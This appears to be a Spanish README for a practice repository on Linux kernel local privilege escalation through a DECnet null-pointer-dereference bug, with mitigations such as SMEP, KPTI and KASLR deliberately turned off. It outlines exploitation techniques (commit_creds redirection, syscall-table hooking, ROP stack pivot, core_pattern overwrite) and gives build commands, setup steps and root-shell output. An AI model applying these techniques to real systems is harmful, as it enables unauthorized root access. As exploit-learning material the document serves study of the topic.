
Práctica de LPE en el kernel de Linux con una vulnerabilidad NPD
Practicando diferentes técnicas de explotación del kernel de Linux con mi vulnerabilidad DECnet y el mapeo de página nula habilitado.
Todo deshabilitado: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
La ejecución de código se redirige a la función output en el espacio de usuario, que invoca commit_creds(prepare_kernel_cred(0)).
Enganche de syscall
Intercambia la dirección del manejador de la llamada al sistema mkdir dentro de la sys_call_table con una función similar a la del Escenario 1.
SMEP y KPTI habilitados: qemu-system-x86_64 -append "nosmap nokaslr"
La ejecución de código se redirige a un stack pivot que establece $rsp en una cadena ROP en la página nula.
Ayudante en modo usuario
El sysctl core_pattern se sobrescribe para especificar un comando que se ejecutará con privilegios elevados al volcar el núcleo.
Luego, el programa se interrumpe con la señal SIGABRT para activar el script en modo usuario.
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
Configurar DECnet como root:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
Ejecutar el exploit como usuario sin privilegios:
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#